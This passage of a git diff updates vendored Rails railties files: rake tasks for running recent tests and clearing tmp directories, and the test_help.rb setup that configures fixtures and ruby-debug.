       source_file = File.basename(path, '.rb')
-      
+
       # Support subdirs in app/models and app/controllers
       modified_test_path = source_dir.length > 2 ? "#{test_path}/" << source_dir[1..source_dir.length].join('/') : test_path
 
@@ -18,7 +18,7 @@ def recent_tests(source_pattern, test_path, touched_since = 10.minutes.ago)
       # For modified files in app, run tests in subdirs too. ex. /test/functional/account/*_test.rb
       test = "#{modified_test_path}/#{File.basename(path, '.rb').sub("_controller","")}"
       FileList["#{test}/*_test.rb"].each { |f| tests.push f } if File.exist?(test)
-		
+
       return tests
 
     end
@@ -48,7 +48,7 @@ task :test do
       task
     end
   end.compact
-  abort "Errors running #{errors.to_sentence}!" if errors.any?
+  abort "Errors running #{errors.to_sentence(:locale => :en)}!" if errors.any?
 end
 
 namespace :test do
@@ -63,7 +63,7 @@ namespace :test do
     t.test_files = touched.uniq
   end
   Rake::Task['test:recent'].comment = "Test recent changes"
-  
+
   Rake::TestTask.new(:uncommitted => "db:test:prepare") do |t|
     def t.file_list
       if File.directory?(".svn")
@@ -82,7 +82,7 @@ namespace :test do
 
       unit_tests.uniq + functional_tests.uniq
     end
-    
+
     t.libs << 'test'
     t.verbose = true
   end
diff --git a/vendor/rails/railties/lib/tasks/tmp.rake b/vendor/rails/railties/lib/tasks/tmp.rake
index b191039d..fea15058 100644
--- a/vendor/rails/railties/lib/tasks/tmp.rake
+++ b/vendor/rails/railties/lib/tasks/tmp.rake
@@ -2,7 +2,7 @@ namespace :tmp do
   desc "Clear session, cache, and socket files from tmp/"
   task :clear => [ "tmp:sessions:clear",  "tmp:cache:clear", "tmp:sockets:clear"]
 
-  desc "Creates tmp directories for sessions, cache, and sockets"
+  desc "Creates tmp directories for sessions, cache, sockets, and pids"
   task :create do
     FileUtils.mkdir_p(%w( tmp/sessions tmp/cache tmp/sockets tmp/pids ))
   end
@@ -34,4 +34,4 @@ namespace :tmp do
       FileUtils.rm(Dir['tmp/pids/[^.]*'])
     end
   end
-end
\ No newline at end of file
+end
diff --git a/vendor/rails/railties/lib/test_help.rb b/vendor/rails/railties/lib/test_help.rb
index 3cc61d79..f8608925 100644
--- a/vendor/rails/railties/lib/test_help.rb
+++ b/vendor/rails/railties/lib/test_help.rb
@@ -1,27 +1,38 @@
-require_dependency 'application'
-
 # Make double-sure the RAILS_ENV is set to test,
 # so fixtures are loaded to the right database
 silence_warnings { RAILS_ENV = "test" }
 
 require 'test/unit'
-require 'active_support/test_case'
-require 'active_record/fixtures'
 require 'action_controller/test_case'
+require 'action_view/test_case'
 require 'action_controller/integration'
 require 'action_mailer/test_case' if defined?(ActionMailer)
 
-Test::Unit::TestCase.fixture_path = RAILS_ROOT + "/test/fixtures/"
-ActionController::IntegrationTest.fixture_path = Test::Unit::TestCase.fixture_path
+if defined?(ActiveRecord)
+  require 'active_record/test_case'
+  require 'active_record/fixtures'
 
-def create_fixtures(*table_names)
-  Fixtures.create_fixtures(Test::Unit::TestCase.fixture_path, table_names)
+  class ActiveSupport::TestCase
+    include ActiveRecord::TestFixtures
+    self.fixture_path = "#{RAILS_ROOT}/test/fixtures/"
+    self.use_instantiated_fixtures  = false
+    self.use_transactional_fixtures = true
+  end
+
+  ActionController::IntegrationTest.fixture_path = ActiveSupport::TestCase.fixture_path
+
+  def create_fixtures(*table_names, &block)
+    Fixtures.create_fixtures(ActiveSupport::TestCase.fixture_path, table_names, {}, &block)
+  end
 end
 
 begin
   require_library_or_gem 'ruby-debug'
   Debugger.start
-  Debugger.settings[:autoeval] = true if Debugger.respond_to?(:settings)
+  if Debugger.respond_to?(:settings)
+    Debugger.settings[:autoeval] = true
+    Debugger.settings[:autolist] = 1
+  end
 rescue LoadError
   # ruby-debug wasn't available so neither can the debugging be
 end